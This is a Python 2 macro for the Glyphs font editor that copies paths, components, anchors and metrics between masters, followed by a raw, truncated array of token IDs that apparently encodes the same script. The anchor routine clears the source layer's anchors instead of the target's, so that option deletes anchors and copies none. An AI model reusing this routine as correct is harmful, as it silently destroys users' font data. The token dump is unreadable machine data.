#MenuTitle: Copy Layer to Layer # -*- coding: utf-8 -*- __doc__=""" Copies one master to another master in selected glyphs. """ import GlyphsApp import vanilla import math def getComponentScaleX_scaleY_rotation( self ): a = self.transform[0] b = self.transform[1] c = self.transform[2] d = self.transform[3] scale_x = math.sqrt(math.pow(a,2)+math.pow(b,2)) scale_y = math.sqrt(math.pow(c,2)+math.pow(d,2)) if (b<0 and c<0): scale_y = scale_y * -1 rotation = math.atan2(b, a) * (180/math.pi) return [scale_x, scale_y, rotation] class MasterFiller( object ): def __init__( self ): # Window 'self.w': windowWidth = 280 windowHeight = 155 windowWidthResize = 120 # user can resize width by this value windowHeightResize = 0 # user can resize height by this value self.w = vanilla.FloatingWindow( ( windowWidth, windowHeight ), # default window size "Copy layer to layer", # window title minSize = ( windowWidth, windowHeight ), # minimum size (for resizing) maxSize = ( windowWidth + windowWidthResize, windowHeight + windowHeightResize ), # maximum size (for resizing) autosaveName = "com.mekkablue.MasterFiller.mainwindow" # stores last window position and size ) self.w.text_1 = vanilla.TextBox((15, 12+2, 120, 14), "Copy paths from", sizeStyle='small') self.w.master_from = vanilla.PopUpButton((120, 12, -15, 17), self.GetMasterNames(), sizeStyle='small', callback=self.MasterChangeCallback) self.w.text_2 = vanilla.TextBox((15, 32+2, 120, 14), "into selection of", sizeStyle='small') self.w.master_into = vanilla.PopUpButton((120, 32, -15, 17), self.GetMasterNames(), sizeStyle='small', callback=self.MasterChangeCallback) self.w.include_components = vanilla.CheckBox((15, 52+2, -100, 20), "Include components", sizeStyle='small', callback=self.SavePreferences, value=True) self.w.include_anchors = vanilla.CheckBox((15, 52+20, -100, 20), "Include anchors", sizeStyle='small', callback=self.SavePreferences, value=True) self.w.include_metrics = vanilla.CheckBox((15, 52+38, -100, 20), "Include metrics", sizeStyle='small', callback=self.SavePreferences, value=True) self.w.keep_window_open = vanilla.CheckBox((15, 52+56, -100, 20), "Keep window open", sizeStyle='small', callback=self.SavePreferences, value=True) self.w.copybutton = vanilla.Button((-80, -30, -15, -10), "Copy", sizeStyle='small', callback=self.buttonCallback) self.w.setDefaultButton( self.w.copybutton ) # Load Settings: if not self.LoadPreferences(): print "Note: 'Copy Layer to Layer' could not load preferences. Will resort to defaults." self.w.open() self.w.makeKey() self.w.master_into.set(1) def SavePreferences( self, sender ): try: Glyphs.defaults["com.mekkablue.MasterFiller.include_components"] = self.w.include_components.get() Glyphs.defaults["com.mekkablue.MasterFiller.include_anchors"] = self.w.include_anchors.get() Glyphs.defaults["com.mekkablue.MasterFiller.include_metrics"] = self.w.include_metrics.get() Glyphs.defaults["com.mekkablue.MasterFiller.keep_window_open"] = self.w.keep_window_open.get() except: return False return True def LoadPreferences( self ): try: NSUserDefaults.standardUserDefaults().registerDefaults_( { "com.mekkablue.MasterFiller.include_components" : "1", "com.mekkablue.MasterFiller.include_anchors" : "1", "com.mekkablue.MasterFiller.include_metrics" : "1", "com.mekkablue.MasterFiller.keep_window_open" : "1" } ) self.w.include_components.set( Glyphs.defaults["com.mekkablue.MasterFiller.include_components"] ) self.w.include_anchors.set( Glyphs.defaults["com.mekkablue.MasterFiller.include_anchors"] ) self.w.include_metrics.set( Glyphs.defaults["com.mekkablue.MasterFiller.include_metrics"] ) self.w.keep_window_open.set( Glyphs.defaults["com.mekkablue.MasterFiller.keep_window_open"] ) except: return False return True def GetMasterNames( self ): myMasterList = [] for i in range( len( Glyphs.currentDocument.font.masters ) ): x = Glyphs.currentDocument.font.masters[i] myMasterList.append( '%i: %s' % (i, x.name) ) return myMasterList def MasterChangeCallback( self, sender ): if self.w.master_from.get() == self.w.master_into.get(): self.w.copybutton.enable( False ) else: self.w.copybutton.enable( True ) def copyPathsFromLayerToLayer( self, sourceLayer, targetLayer ): """Copies all paths from sourceLayer to targetLayer""" num_from = len( sourceLayer.paths ) num_into = len( targetLayer.paths ) if num_into != 0: print "- Cleaning out paths in target layer" for i in range( num_into )[::-1]: del targetLayer.paths[i] if num_from > 0: print "- Copying paths" for thisPath in sourceLayer.paths: newPath = GSPath() for n in thisPath.nodes: newNode = GSNode() newNode.type = n.type newNode.connection = n.connection newNode.setPosition_( (n.x, n.y) ) newPath.addNode_( newNode ) newPath.closed = thisPath.closed targetLayer.paths.append( newPath ) def copyComponentsFromLayerToLayer( self, sourceLayer, targetLayer ): """Copies all components from sourceLayer to targetLayer.""" comp_from = len( sourceLayer.components ) comp_into = len( targetLayer.components ) if comp_into != 0: print "- Cleaning out components in target layer" for i in range( comp_into )[::-1]: del targetLayer.components[i] if comp_from > 0: print "- Copying components:" for thisComp in sourceLayer.components: compName = str( thisComp.componentName ) # str() probably not necessary anymore, but once fixed a problem newComp = GSComponent( compName ) newComp.setPosition_( (thisComp.x, thisComp.y) ) ScaleX_scaleY_rotation = getComponentScaleX_scaleY_rotation(thisComp) newComp.setScaleX_scaleY_rotation_(ScaleX_scaleY_rotation[0],ScaleX_scaleY_rotation[1],ScaleX_scaleY_rotation[2]) print "-- Component: %s" % ( compName ) targetLayer.components.append( newComp ) def copyAnchorsFromLayerToLayer( self, sourceLayer, targetLayer ): """Copies all anchors from sourceLayer to targetLayer.""" anch_from = len( sourceLayer.anchors ) anch_into = len( targetLayer.anchors ) if anch_into != 0: print "- Cleaning out anchors in target layer" sourceLayer.setAnchors_( None ) if anch_from > 0: print "- Copying anchors from source layer:" for thisAnchor in sourceLayer.anchors: anchorName = thisAnchor.name anchorPosition = NSPoint( thisAnchor.x, thisAnchor.y ) newAnchor = GSAnchor( anchorName, anchorPosition ) print "-- %s (%i, %i)" % ( anchorName, anchorPosition.x, anchorPosition.y ) targetLayer.addAnchor_( newAnchor ) def copyMetricsFromLayerToLayer( self, sourceLayer, targetLayer ): """Copies width of sourceLayer to targetLayer.""" sourceWidth = sourceLayer.width if targetLayer.width != sourceWidth: targetLayer.width = sourceWidth print "- Copying width (%.1f)" % sourceWidth else: print "- Width not changed (already was %.1f)" % sourceWidth def buttonCallback( self, sender ): Glyphs.clearLog() Glyphs.showMacroWindow() print "Copy Layer to Layer Protocol:" Font = Glyphs.font Doc = Glyphs.currentDocument selectedGlyphs = [ x.parent for x in Font.selectedLayers ] index_from = self.w.master_from.get() index_into = self.w.master_into.get() compYesNo = self.w.include_components.get() anchYesNo = self.w.include_anchors.get() metrYesNo = self.w.include_metrics.get() for thisGlyph in selectedGlyphs: try: print "\nProcessing", thisGlyph.name sourcelayer = thisGlyph.layers[ index_from ] targetlayer = thisGlyph.layers[ index_into ] Font.disableUpdateInterface() # copy paths: self.copyPathsFromLayerToLayer( sourcelayer, targetlayer ) # copy components: if compYesNo: self.copyComponentsFromLayerToLayer( sourcelayer, targetlayer ) # copy anchors: if anchYesNo: self.copyAnchorsFromLayerToLayer( sourcelayer, targetlayer ) # copy metrics: if metrYesNo: self.copyMetricsFromLayerToLayer( sourcelayer, targetlayer ) Font.enableUpdateInterface() except Exception, e: print e if not self.w.keep_window_open.get(): self.w.close() MasterFiller()
[ 1, 396, 6823, 7030, 29901, 14187, 365, 2747, 304, 365, 2747, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 1649, 1514, 1649, 13776, 29908, 13, 29907, 459, 583, 697, 5835, 304, 1790, 5835, 297, 4629, 330, 27026, 29879, 29889, 13, 15945, 29908, 13, 13, 5215, 402, 27026, 29879, 2052, 13, 5215, 1109, 2911, 13, 5215, 5844, 13, 13, 1753, 679, 5308, 17185, 29990, 29918, 7052, 29979, 29918, 5450, 362, 29898, 1583, 29871, 1125, 13, 12, 12, 29874, 353, 1583, 29889, 9067, 29961, 29900, 29962, 13, 12, 12, 29890, 353, 1583, 29889, 9067, 29961, 29896, 29962, 13, 12, 12, 29883, 353, 1583, 29889, 9067, 29961, 29906, 29962, 13, 12, 12, 29881, 353, 1583, 29889, 9067, 29961, 29941, 29962, 13, 13, 12, 12, 7052, 29918, 29916, 353, 5844, 29889, 3676, 29898, 755, 29889, 12248, 29898, 29874, 29892, 29906, 7240, 755, 29889, 12248, 29898, 29890, 29892, 29906, 876, 13, 12, 12, 7052, 29918, 29891, 353, 5844, 29889, 3676, 29898, 755, 29889, 12248, 29898, 29883, 29892, 29906, 7240, 755, 29889, 12248, 29898, 29881, 29892, 29906, 876, 13, 12, 12, 361, 313, 29890, 29966, 29900, 322, 274, 29966, 29900, 1125, 13, 12, 12, 12, 7052, 29918, 29891, 353, 6287, 29918, 29891, 334, 448, 29896, 13, 13, 12, 12, 5450, 362, 353, 5844, 29889, 23402, 29906, 29898, 29890, 29892, 263, 29897, 334, 313, 29896, 29947, 29900, 29914, 755, 29889, 1631, 29897, 13, 12, 12, 13, 12, 12, 2457, 518, 7052, 29918, 29916, 29892, 6287, 29918, 29891, 29892, 13733, 29962, 13, 12, 12, 13, 12, 12, 13, 1990, 9082, 29943, 5495, 29898, 1203, 29871, 1125, 13, 13, 12, 1753, 4770, 2344, 12035, 1583, 29871, 1125, 13, 12, 12, 29937, 18379, 525, 1311, 29889, 29893, 2396, 13, 12, 12, 7165, 6110, 29871, 353, 29871, 29906, 29947, 29900, 13, 12, 12, 7165, 7011, 353, 29871, 29896, 29945, 29945, 13, 12, 12, 7165, 6110, 1666, 675, 29871, 353, 29871, 29896, 29906, 29900, 396, 1404, 508, 19490, 2920, 491, 445, 995, 13, 12, 12, 7165, 7011, 1666, 675, 353, 29871, 29900, 259, 396, 1404, 508, 19490, 3171, 491, 445, 995, 13, 12, 12, 1311, 29889, 29893, 353, 1109, 2911, 29889, 29943, 417, 1218, 5907, 29898, 13, 12, 12, 12, 29898, 3474, 6110, 29892, 3474, 7011, 10353, 396, 2322, 3474, 2159, 13, 12, 12, 12, 29908, 11882, 7546, 304, 7546, 613, 396, 3474, 3611, 13, 12, 12, 12, 1195, 3505, 353, 313, 3474, 6110, 29892, 3474, 7011, 10353, 396, 9212, 2159, 313, 1454, 620, 5281, 29897, 13, 12, 12, 12, 3317, 3505, 353, 313, 3474, 6110, 718, 3474, 6110, 1666, 675, 29892, 3474, 7011, 718, 3474, 7011, 1666, 675, 10353, 396, 7472, 2159, 313, 1454, 620, 5281, 29897, 13, 12, 12, 12, 1300, 359, 1351, 1170, 353, 376, 510, 29889, 1004, 6859, 12478, 434, 29889, 19203, 29943, 5495, 29889, 3396, 7165, 29908, 396, 14422, 1833, 3474, 2602, 322, 2159, 13, 12, 12, 29897, 13, 12, 12, 13, 12, 12, 1311, 29889, 29893, 29889, 726, 29918, 29896, 353, 1109, 2911, 29889, 15102, 3552, 29896, 29945, 29892, 29871, 29896, 29906, 29974, 29906, 29892, 29871, 29896, 29906, 29900, 29892, 29871, 29896, 29946, 511, 376, 11882, 10898, 515, 613, 2159, 5568, 2433, 9278, 1495, 13, 12, 12, 1311, 29889, 29893, 29889, 6207, 29918, 3166, 353, 1109, 2911, 29889, 12310, 3373, 3125, 3552, 29896, 29906, 29900, 29892, 29871, 29896, 29906, 29892, 448, 29896, 29945, 29892, 29871, 29896, 29955, 511, 1583, 29889, 2577, 19203, 8659, 3285, 2159, 5568, 2433, 9278, 742, 6939, 29922, 1311, 29889, 19203, 7277, 10717, 29897, 13, 12, 12, 13, 12, 12, 1311, 29889, 29893, 29889, 726, 29918, 29906, 353, 1109, 2911, 29889, 15102, 3552, 29896, 29945, 29892, 29871, 29941, 29906, 29974, 29906, 29892, 29871, 29896, 29906, 29900, 29892, 29871, 29896, 29946, 511, 376, 8941, 9262, 310, 613, 2159, 5568, 2433, 9278, 1495, 13, 12, 12, 1311, 29889, 29893, 29889, 6207, 29918, 8941, 353, 1109, 2911, 29889, 12310, 3373, 3125, 3552, 29896, 29906, 29900, 29892, 29871, 29941, 29906, 29892, 448, 29896, 29945, 29892, 29871, 29896, 29955, 511, 1583, 29889, 2577, 19203, 8659, 3285, 2159, 5568, 2433, 9278, 742, 6939, 29922, 1311, 29889, 19203, 7277, 10717, 29897, 13, 13, 12, 12, 1311, 29889, 29893, 29889, 2856, 29918, 14036, 353, 1109, 2911, 29889, 28360, 3552, 29896, 29945, 29892, 29871, 29945, 29906, 29974, 29906, 29892, 448, 29896, 29900, 29900, 29892, 29871, 29906, 29900, 511, 376, 29419, 7117, 613, 2159, 5568, 2433, 9278, 742, 6939, 29922, 1311, 29889, 11371, 22173, 29892, 995, 29922, 5574, 29897, 13, 12, 12, 1311, 29889, 29893, 29889, 2856, 29918, 14588, 943, 353, 1109, 2911, 29889, 28360, 3552, 29896, 29945, 29892, 29871, 29945, 29906, 29974, 29906, 29900, 29892, 448, 29896, 29900, 29900, 29892, 29871, 29906, 29900, 511, 376, 29419, 23791, 943, 613, 2159, 5568, 2433, 9278, 742, 6939, 29922, 1311, 29889, 11371, 22173, 29892, 995, 29922, 5574, 29897, 13, 12, 12, 1311, 29889, 29893, 29889, 2856, 29918, 2527, 10817, 353, 1109, 2911, 29889, 28360, 3552, 29896, 29945, 29892, 29871, 29945, 29906, 29974, 29941, 29947, 29892, 448, 29896, 29900, 29900, 29892, 29871, 29906, 29900, 511, 376, 29419, 21556, 613, 2159, 5568, 2433, 9278, 742, 6939, 29922, 1311, 29889, 11371, 22173, 29892, 995, 29922, 5574, 29897, 13, 12, 12, 1311, 29889, 29893, 29889, 17462, 29918, 7165, 29918, 3150, 353, 1109, 2911, 29889, 28360, 3552, 29896, 29945, 29892, 29871, 29945, 29906, 29974, 29945, 29953, 29892, 448, 29896, 29900, 29900, 29892, 29871, 29906, 29900, 511, 376, 9598, 1022, 3474, 1722, 613, 2159, 5568, 2433, 9278, 742, 6939, 29922, 1311, 29889, 11371, 22173, 29892, 995, 29922, 5574, 29897, 13, 13, 12, 12, 1311, 29889, 29893, 29889, 8552, 3092, 353, 1109, 2911, 29889, 3125, 3552, 29899, 29947, 29900, 29892, 448, 29941, 29900, 29892, 448, 29896, 29945, 29892, 448, 29896, 29900, 511, 376, 11882, 613, 2159, 5568, 2433, 9278, 742, 6939, 29922, 1311, 29889, 3092, 10717, 29897, 13, 12, 12, 1311, 29889, 29893, 29889, 842, 4592, 3125, 29898, 1583, 29889, 29893, 29889, 8552, 3092, 1723, 13, 12, 12, 13, 12, 12, 29937, 16012, 19215, 29901, 13, 12, 12, 361, 451, 1583, 29889, 5896, 22173, 7295, 13, 12, 12, 12, 2158, 376, 9842, 29901, 525, 11882, 365, 2747, 304, 365, 2747, 29915, 1033, 451, 2254, 5821, 2063, 29889, 2811, 25362, 304, 21274, 1213, 13, 12, 12, 13, 12, 12, 1311, 29889, 29893, 29889, 3150, 580, 13, 12, 12, 1311, 29889, 29893, 29889, 5675, 2558, 580, 13, 12, 12, 1311, 29889, 29893, 29889, 6207, 29918, 8941, 29889, 842, 29898, 29896, 29897, 13, 12, 13, 12, 1753, 16913, 22173, 29898, 1583, 29892, 10004, 29871, 1125, 13, 12, 12, 2202, 29901, 13, 12, 12, 12, 29954, 27026, 29879, 29889, 4381, 29879, 3366, 510, 29889, 1004, 6859, 12478, 434, 29889, 19203, 29943, 5495, 29889, 2856, 29918, 14036, 3108, 353, 1583, 29889, 29893, 29889, 2856, 29918, 14036, 29889, 657, 580, 13, 12, 12, 12, 29954, 27026, 29879, 29889, 4381, 29879, 3366, 510, 29889, 1004, 6859, 12478, 434, 29889, 19203, 29943, 5495, 29889, 2856, 29918, 14588, 943, 3108, 353, 1583, 29889, 29893, 29889, 2856, 29918, 14588, 943, 29889, 657, 580, 13, 12, 12, 12, 29954, 27026, 29879, 29889, 4381, 29879, 3366, 510, 29889, 1004, 6859, 12478, 434, 29889, 19203, 29943, 5495, 29889, 2856, 29918, 2527, 10817, 3108, 353, 1583, 29889, 29893, 29889, 2856, 29918, 2527, 10817, 29889, 657, 580, 13, 12, 12, 12, 29954, 27026, 29879, 29889, 4381, 29879, 3366, 510, 29889, 1004, 6859, 12478, 434, 29889, 19203, 29943, 5495, 29889, 17462, 29918, 7165, 29918, 3150, 3108, 353, 1583, 29889, 29893, 29889, 17462, 29918, 7165, 29918, 3150, 29889, 657, 580, 13, 12, 12, 19499, 29901, 13, 12, 12, 12, 2457, 7700, 13, 12, 12, 12, 13, 12, 12, 2457, 5852, 13, 13, 12, 1753, 16012, 22173, 29898, 1583, 29871, 1125, 13, 12, 12, 2202, 29901, 13, 12, 12, 12, 3059, 2659, 24863, 29889, 15770, 2659, 24863, 2141, 9573, 24863, 23538, 13, 12, 12, 12, 12, 29912, 13, 12, 12, 12, 12, 12, 29908, 510, 29889, 1004, 6859, 12478, 434, 29889, 19203, 29943, 5495, 29889, 2856, 29918, 14036, 29908, 584, 376, 29896, 613, 13, 12, 12, 12, 12, 12, 29908, 510, 29889, 1004, 6859, 12478, 434, 29889, 19203, 29943, 5495, 29889, 2856, 29918, 14588, 943, 29908, 584, 376, 29896, 613, 13, 12, 12, 12, 12, 12, 29908, 510, 29889, 1004, 6859, 12478, 434, 29889, 19203, 29943, 5495, 29889, 2856, 29918, 2527, 10817, 29908, 584, 376, 29896, 613, 13, 12, 12, 12, 12, 12, 29908, 510, 29889, 1004, 6859, 12478, 434, 29889, 19203, 29943, 5495, 29889, 17462, 29918, 7165, 29918, 3150, 29908, 584, 376, 29896, 29908, 13, 12, 12, 12, 12, 29913, 13, 12, 12, 12, 29897, 13, 12, 12, 12, 1311, 29889, 29893, 29889, 2856, 29918, 14036, 29889, 842, 29898, 402, 27026, 29879, 29889, 4381, 29879, 3366, 510, 29889, 1004, 6859, 12478, 434, 29889, 19203, 29943, 5495, 29889, 2856, 29918, 14036, 3108, 1723, 13, 12, 12, 12, 1311, 29889, 29893, 29889, 2856, 29918, 14588, 943, 29889, 842, 29898, 402, 27026, 29879, 29889, 4381, 29879, 3366, 510, 29889, 1004, 6859, 12478, 434, 29889, 19203, 29943, 5495, 29889, 2856, 29918, 14588, 943, 3108, 1723, 13, 12, 12, 12, 1311, 29889, 29893, 29889, 2856, 29918, 2527, 10817, 29889, 842, 29898, 402, 27026, 29879, 29889, 4381, 29879, 3366, 510, 29889, 1004, 6859, 12478, 434, 29889, 19203, 29943, 5495, 29889, 2856, 29918, 2527, 10817, 3108, 1723, 13, 12, 12, 12, 1311, 29889, 29893, 29889, 17462, 29918, 7165, 29918, 3150, 29889, 842, 29898, 402, 27026, 29879, 29889, 4381, 29879, 3366, 510, 29889, 1004, 6859, 12478, 434, 29889, 19203, 29943, 5495, 29889, 17462, 29918, 7165, 29918, 3150, 3108, 1723, 13, 12, 12, 19499, 29901, 13, 12, 12, 12, 2457, 7700, 13, 12, 12, 12, 13, 12, 12, 2457, 5852, 13, 12, 13, 12, 1753, 3617, 19203, 8659, 29898, 1583, 29871, 1125, 13, 12, 12, 1357, 19203, 1293, 353, 5159, 13, 13, 12, 12, 1454, 474, 297, 3464, 29898, 7431, 29898, 402, 27026, 29879, 29889, 3784, 6268, 29889, 5657, 29889, 6207, 29879, 1723, 29871, 1125, 13, 12, 12, 12, 29916, 353, 402, 27026, 29879, 29889, 3784, 6268, 29889, 5657, 29889, 6207, 29879, 29961, 29875, 29962, 13, 12, 12, 12, 1357, 19203, 1293, 29889, 4397, 29898, 14210, 29875, 29901, 1273, 29879, 29915, 1273, 313, 29875, 29892, 921, 29889, 978, 29897, 1723, 13, 12, 12, 13, 12, 12, 2457, 590, 19203, 1293, 13, 12, 13, 12, 1753, 9082, 7277, 10717, 29898, 1583, 29892, 10004, 29871, 1125, 13, 12, 12, 361, 1583, 29889, 29893, 29889, 6207, 29918, 3166, 29889, 657, 580, 1275, 1583, 29889, 29893, 29889, 6207, 29918, 8941, 29889, 657, 7295, 13, 12, 12, 12, 1311, 29889, 29893, 29889, 8552, 3092, 29889, 12007, 29898, 7700, 1723, 13, 12, 12, 2870, 29901, 13, 12, 12, 12, 1311, 29889, 29893, 29889, 8552, 3092, 29889, 12007, 29898, 5852, 1723, 13, 12, 12, 12, 13, 12, 1753, 3509, 2605, 29879, 4591, 14420, 1762, 14420, 29898, 1583, 29892, 2752, 14420, 29892, 3646, 14420, 29871, 1125, 13, 12, 12, 15945, 29908, 29907, 459, 583, 599, 10898, 515, 2752, 14420, 304, 3646, 14420, 15945, 29908, 13, 12, 12, 1949, 29918, 3166, 29871, 353, 7431, 29898, 2752, 14420, 29889, 24772, 1723, 13, 12, 12, 1949, 29918, 8941, 29871, 353, 7431, 29898, 3646, 14420, 29889, 24772, 1723, 13, 12, 12, 13, 12, 12, 361, 954, 29918, 8941, 2804, 29871, 29900, 29901, 13, 12, 12, 12, 2158, 11663, 315, 14044, 292, 714, 10898, 297, 3646, 7546, 29908, 13, 12, 12, 12, 1454, 474, 297, 3464, 29898, 954, 29918, 8941, 1723, 29961, 1057, 29899, 29896, 5387, 13, 12, 12, 12, 12, 6144, 3646, 14420, 29889, 24772, 29961, 29875, 29962, 13, 13, 12, 12, 361, 954, 29918, 3166, 1405, 29871, 29900, 29901, 13, 12, 12, 12, 2158, 11663, 14187, 292, 10898, 29908, 13, 12, 12, 12, 1454, 445, 2605, 297, 2752, 14420, 29889, 24772, 29901, 13, 12, 12, 12, 12, 1482, 2605, 353, 402, 29903, 2605, 580, 13, 13, 12, 12, 12, 12, 1454, 302, 297, 445, 2605, 29889, 18010, 29901, 13, 12, 12, 12, 12, 12, 1482, 4247, 353, 402, 29903, 4247, 580, 13, 12, 12, 12, 12, 12, 1482, 4247, 29889, 1853, 353, 302, 29889, 1853, 13, 12, 12, 12, 12, 12, 1482, 4247, 29889, 9965, 353, 302, 29889, 9965, 13, 12, 12, 12, 12, 12, 1482, 4247, 29889, 842, 8003, 23538, 313, 29876, 29889, 29916, 29892, 302, 29889, 29891, 29897, 1723, 13, 12, 12, 12, 12, 12, 1482, 2605, 29889, 1202, 4247, 23538, 716, 4247, 1723, 13, 13, 12, 12, 12, 12, 1482, 2605, 29889, 15603, 353, 445, 2605, 29889, 15603, 13, 12, 12, 12, 12, 5182, 14420, 29889, 24772, 29889, 4397, 29898, 716, 2605, 1723, 13, 12, 13, 12, 1753, 3509, 25503, 4591, 14420, 1762, 14420, 29898, 1583, 29892, 2752, 14420, 29892, 3646, 14420, 29871, 1125, 13, 12, 12, 15945, 29908, 29907, 459, 583, 599, 7117, 515, 2752, 14420, 304, 3646, 14420, 1213, 15945, 13, 12, 12, 2388, 29918, 3166, 353, 7431, 29898, 2752, 14420, 29889, 14036, 1723, 13, 12, 12, 2388, 29918, 8941, 353, 7431, 29898, 3646, 14420, 29889, 14036, 1723, 13, 12, 12, 13, 12, 12, 361, 752, 29918, 8941, 2804, 29871, 29900, 29901, 13, 12, 12, 12, 2158, 11663, 315, 14044, 292, 714, 7117, 297, 3646, 7546, 29908, 13, 12, 12, 12, 1454, 474, 297, 3464, 29898, 752, 29918, 8941, 1723, 29961, 1057, 29899, 29896, 5387, 13, 12, 12, 12, 12, 6144, 3646, 14420, 29889, 14036, 29961, 29875, 29962, 13, 12, 13, 12, 12, 361, 752, 29918, 3166, 1405, 29871, 29900, 29901, 13, 12, 12, 12, 2158, 11663, 14187, 292, 7117, 6160, 13, 12, 12, 12, 1454, 445, 6843, 297, 2752, 14420, 29889, 14036, 29901, 13, 12, 12, 12, 12, 2388, 1170, 353, 851, 29898, 445, 6843, 29889, 9700, 1170, 1723, 396, 851, 580, 3117, 451, 5181, 15128, 29892, 541, 2748, 4343, 263, 1108, 13, 12, 12, 12, 12, 1482, 6843, 353, 402, 29903, 5308, 29898, 752, 1170, 1723, 13, 12, 12, 12, 12, 1482, 6843, 29889, 842, 8003, 23538, 313, 1366, 6843, 29889, 29916, 29892, 445, 6843, 29889, 29891, 29897, 1723, 13, 12, 12, 12, 12, 17185, 29990, 29918, 7052, 29979, 29918, 5450, 362, 353, 679, 5308, 17185, 29990, 29918, 7052, 29979, 29918, 5450, 362, 29898, 1366, 6843, 29897, 13, 12, 12, 12, 12, 1482, 6843, 29889, 842, 17185, 29990, 29918, 7052, 29979, 29918, 5450, 362, 23538, 17185, 29990, 29918, 7052, 29979, 29918, 5450, 362, 29961, 29900, 1402, 17185, 29990, 29918, 7052, 29979, 29918, 5450, 362, 29961, 29896, 1402, 17185, 29990, 29918, 7052, 29979, 29918, 5450, 362, 29961, 29906, 2314, 13, 12, 12, 12, 12, 2158, 376, 489, 15924, 29901, 1273, 29879, 29908, 1273, 313, 752, 1170, 1723, 13, 12, 12, 12, 12, 5182, 14420, 29889, 14036, 29889, 4397, 29898, 716, 6843, 1723, 13, 13, 12, 1753, 3509, 2744, 305, 943, 4591, 14420, 1762, 14420, 29898, 1583, 29892, 2752, 14420, 29892, 3646, 14420, 29871, 1125, 13, 12, 12, 15945, 29908, 29907, 459, 583, 599, 23791, 943, 515, 2752, 14420, 304, 3646, 14420, 1213, 15945, 13, 12, 12, 14588, 29918, 3166, 353, 7431, 29898, 2752, 14420, 29889, 14588, 943, 1723, 13, 12, 12, 14588, 29918, 8941, 353, 7431, 29898, 3646, 14420, 29889, 14588, 943, 1723, 13, 12, 12, 13, 12, 12, 361, 23791, 29918, 8941, 2804, 29871, 29900, 29901, 13, 12, 12, 12, 2158, 11663, 315, 14044, 292, 714, 23791, 943, 297, 3646, 7546, 29908, 13, 12, 12, 12, 4993, 14420, 29889, 842, 2744, 305, 943, 23538, 6213, 1723, 13, 12, 12, 13, 12, 12, 361, 23791, 29918, 3166, 1405, 29871, 29900, 29901, 13, 12, 12, 12, 2158, 11663, 14187, 292, 23791, 943, 515, 2752, 7546, 6160, 13, 12, 12, 12, 1454, 445, 24458, 297, 2752, 14420, 29889, 14588, 943, 29901, 13, 12, 12, 12, 12, 25367, 1170, 353, 445, 24458, 29889, 978, 13, 12, 12, 12, 12, 25367, 8003, 353, 3865, 5228, 29898, 445, 24458, 29889, 29916, 29892, 445, 24458, 29889, 29891, 1723, 13, 12, 12, 12, 12, 1482, 24458, 353, 402, 29903, 24458, 29898, 17360, 1170, 29892, 17360, 8003, 1723, 13, 12, 12, 12, 12, 2158, 376, 489, 1273, 29879, 313, 29995, 29875, 29892, 1273, 29875, 5513, 1273, 313, 17360, 1170, 29892, 17360, 8003, 29889, 29916, 29892, 17360, 8003, 29889, 29891, 1723, 13, 12, 12, 12, 12, 5182, 14420, 29889, 1202, 24458, 23538, 716, 24458, 1723, 13, 12, 13, 12, 1753, 3509, 10095, 10817, 4591, 14420, 1762, 14420, 29898, 1583, 29892, 2752, 14420, 29892, 3646, 14420, 29871, 1125, 13, 12, 12, 15945, 29908, 29907, 459, 583, 2920, 310, 2752, 14420, 304, 3646, 14420, 1213, 15945, 13, 12, 12, 4993, 6110, 353, 2752, 14420, 29889, 2103, 13, 12, 12, 361, 3646, 14420, 29889, 2103, 2804, 2752, 6110, 29901, 13, 12, 12, 12, 5182, 14420, 29889, 2103, 353, 2752, 6110, 13, 12, 12, 12, 2158, 11663, 14187, 292, 2920, 313, 15543, 29896, 29888, 5513, 1273, 2752, 6110, 13, 12, 12, 2870, 29901, 13, 12, 12, 12, 2158, 11663, 21485, 451, 3939, 313, 284, 2040, 471, 18695, 29896, 29888, 5513, 1273, 2752, 6110, 13, 13, 12, 1753, 2826, 10717, 29898, 1583, 29892, 10004, 29871, 1125, 13, 12, 12, 29954, 27026, 29879, 29889, 8551, 3403, 580, 13, 12, 12, 29954, 27026, 29879, 29889, 4294, 15735, 307, 5907, 580, 13, 12, 12, 2158, 376, 11882, 365, 2747, 304, 365, 2747, 1019, 5770, 6160, 13, 13, 12, 12, 9824, 353, 402, 27026, 29879, 29889, 5657, 13, 12, 12, 14526, 353, 402, 27026, 29879, 29889, 3784, 6268, 13, 12, 12, 8391, 29954, 27026, 29879, 353, 518, 921, 29889, 3560, 363, 921, 297, 10928, 29889, 8391, 29931, 388, 414, 4514, 13, 13, 12, 12, 2248, 29918, 3166, 353, 1583, 29889, 29893, 29889, 6207, 29918, 3166, 29889, 657, 580, 13, 12, 12, 2248, 29918, 8941, 353, 1583, 29889, 29893, 29889, 6207, 29918, 8941, 29889, 657, 580, 13, 12, 12, 2388, 8241, 3782, 29871, 353, 1583, 29889, 29893, 29889, 2856, 29918, 14036, 29889, 657, 580, 13, 12, 12, 14588, 8241, 3782, 29871, 353, 1583, 29889, 29893, 29889, 2856, 29918, 14588, 943, 29889, 657, 580, 13, 12, 12, 2527, 29878, 8241, 3782, 29871, 353, 1583, 29889, 29893, 29889, 2856, 29918, 2527, 10817, 29889, 657, 580, 13, 12, 12, 12, 12, 13, 12, 12, 1454, 445, 29954, 27026, 297, 4629, 29954, 27026, 29879, 29901, 13, 12, 12, 12, 2202, 29901, 13, 12, 12, 12, 12, 13, 12, 12, 12, 12, 2158, 6634, 29876, 7032, 292, 613, 445, 29954, 27026, 29889, 978, 13, 12, 12, 12, 12, 29879, 473, 2242, 2747, 353, 445, 29954, 27026, 29889, 29277, 29961, 2380, 29918, 3166, 4514, 13, 12, 12, 12, 12, 5182, 13148, 353, 445, 29954, 27026, 29889, 29277, 29961, 2380, 29918, 8941, 4514, 13, 12, 12, 12, 12, 13, 12, 12, 12, 12, 9824, 29889, 20472, 6422, 10448, 580, 13, 12, 12, 12, 12, 13, 12, 12, 12, 12, 29937, 3509, 10898, 29901, 13, 12, 12, 12, 12, 1311, 29889, 8552, 2605, 29879, 4591, 14420, 1762, 14420, 29898, 269, 473, 2242, 2747, 29892, 3646, 13148, 1723, 13, 12, 12, 12, 12, 13, 12, 12, 12, 12, 29937, 3509, 7117, 29901, 13, 12, 12, 12, 12, 361, 752, 8241, 3782, 29901, 13, 12, 12, 12, 12, 12, 1311, 29889, 8552, 25503, 4591, 14420, 1762, 14420, 29898, 269, 473, 2242, 2747, 29892, 3646, 13148, 1723, 13, 12, 12, 12, 12, 12, 13, 12, 12, 12, 12, 29937, 3509, 23791, 943, 29901, 13, 12, 12, 12, 12, 361, 23791, 8241, 3782, 29901, 13, 12, 12, 12, 